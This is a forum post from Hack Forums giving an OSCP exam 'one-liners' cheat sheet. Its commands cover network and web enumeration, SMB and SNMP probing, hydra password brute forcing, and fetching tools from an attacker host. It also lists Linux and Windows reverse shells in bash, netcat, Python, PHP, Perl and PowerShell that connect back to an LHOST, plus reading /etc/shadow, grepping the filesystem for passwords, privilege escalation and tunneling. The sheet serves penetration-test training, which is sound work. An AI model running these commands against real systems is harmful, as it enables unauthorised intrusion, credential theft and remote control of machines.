+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+---- Thread: OSCP OneLiners Cheat Sheet (ExamFocused) (/showthread.php?tid=6315718)
OSCP OneLiners Cheat Sheet (ExamFocused) - Clumsy - Dec 12, 2025
================================================================
GLOBAL SETUP
export IP=10.10.10.10
export LHOST=10.10.10.1
export PORT=4444
script -f oscp.log
================================================================
NETWORK DISCOVERY
ip a
ip r
arp -a
arp-scan -l
netdiscover -r 10.10.10.0/24
================================================================
NMAP (FULL COVERAGE)
nmap -sn 10.10.10.0/24
nmap -p- --min-rate 10000 -T4 $IP
nmap -p- -sS -T4 $IP
nmap -sC -sV -p 21,22,25,80,443,445,3389 $IP
nmap -A $IP
nmap -sU --top-ports 200 $IP
nmap --script vuln $IP
nmap --script smb* -p 445 $IP
nmap --script ftp* -p 21 $IP
================================================================
WEB ENUMERATION (HTTP/HTTPS)
whatweb http://$IP
curl -I http://$IP
curl -s http://$IP/robots.txt
curl -s http://$IP/sitemap.xml
curl -s http://$IP/.git/config
ffuf -u http://$IP/FUZZ -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://$IP/FUZZ -w big.txt -e .php,.asp,.aspx,.txt,.bak,.old,.zip
ffuf -u http://$IP -H "Host: FUZZ" -w vhosts.txt
gobuster dir -u http://$IP -w /usr/share/wordlists/dirb/common.txt
gobuster vhost -u http://$IP -w vhosts.txt
nikto -h http://$IP
wget -r -np -nH http://$IP
wget --mirror --convert-links --adjust-extension http://$IP
================================================================
FILE UPLOAD / WEBSHELL
cp /usr/share/webshells/php/php-reverse-shell.php shell.php
sed -i "s/127.0.0.1/$LHOST/" shell.php
================================================================
SMB ENUMERATION
smbclient -L //$IP -N
smbclient //$IP/share -N
smbmap -H $IP
smbmap -H $IP -R
enum4linux $IP
enum4linux -a $IP
rpcclient -U "" $IP -c "enumdomusers"
rpcclient -U "" $IP -c "querydispinfo"
================================================================
FTP ENUMERATION
ftp $IP
wget -m ftp://anonymous:anonymous@$IP
nc $IP 21
================================================================
SNMP ENUMERATION
snmpwalk -v2c -c public $IP
snmpwalk -v1 -c public $IP
snmp-check $IP
================================================================
EMAIL / SMTP
nc $IP 25
smtp-user-enum -M VRFY -U users.txt -t $IP
================================================================
DATABASE ACCESS
mysql -h $IP -u root -p
mysql -h $IP -u admin -p
psql -h $IP -U postgres
impacket-mssqlclient user:pass@$IP
impacket-mssqlclient sa@$IP
================================================================
BRUTE FORCE
hydra -l root -P rockyou.txt ssh://$IP
hydra -L users.txt -P rockyou.txt ssh://$IP
hydra -l admin -P rockyou.txt ftp://$IP
hydra -l admin -P rockyou.txt $IP http-post-form "/login.php:user=^USER^&pass=^PASS^:invalid"
================================================================
FILE TRANSFER
python3 -m http.server 80
python2 -m SimpleHTTPServer 80
wget http://$LHOST/linpeas.sh
curl -O http://$LHOST/winpeas.exe
nc -lvnp 4444 > file
nc $LHOST 4444 < file
scp file user@$IP:/tmp
================================================================
REVERSE SHELLS (LINUX)
bash -i >& /dev/tcp/$LHOST/4444 0>&1
nc -e /bin/bash $LHOST 4444
python3 -c 'import socket,pty,os;s=socket.socket();s.connect(("$LHOST",4444));[os.dup2(s.fileno(),i) for i in (0,1,2)];pty.spawn("/bin/bash")'
php -r '$s=fsockopen("$LHOST",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
perl -e 'use Socket;$i="$LHOST";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
================================================================
REVERSE SHELLS (WINDOWS)
nc.exe -e cmd.exe $LHOST 4444
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('$LHOST',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1 | Out-String);$sb=([text.encoding]::ASCII).GetBytes($r);$s.Write($sb,0,$sb.Length)}"
================================================================
SHELL STABILIZATION
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
stty raw -echo; fg
================================================================
LINUX PRIV ESC ENUM
id
uname -a
sudo -l
env
crontab -l
ls -la /etc/cron*
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
ps aux
netstat -tulpn
ss -lntup
grep -Ri "pass|pwd|secret" / 2>/dev/null
cat /etc/passwd
cat /etc/shadow
================================================================
LINUX PRIV ESC EXPLOITS
sudo /bin/bash
sudo -u root /bin/sh
/bin/bash -p
================================================================
WINDOWS ENUM
whoami
whoami /priv
systeminfo
hostname
ipconfig /all
net user
net localgroup administrators
================================================================
WINDOWS PRIV ESC ENUM
wmic service get name,pathname,startmode
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
================================================================
WINDOWS PRIV ESC
msiexec /quiet /qn /i exploit.msi
================================================================
PIVOTING / TUNNELING
ssh -L 8080:127.0.0.1:80 user@$IP
ssh -D 1080 user@$IP
chisel server -p 8000 --reverse
chisel client $LHOST:8000 R:1080:socks
================================================================
PROOF & REPORT
cat proof.txt
hostname
ip a
whoami
================================================================
here is a better sheet https://github.com/0xsyr0/OSCP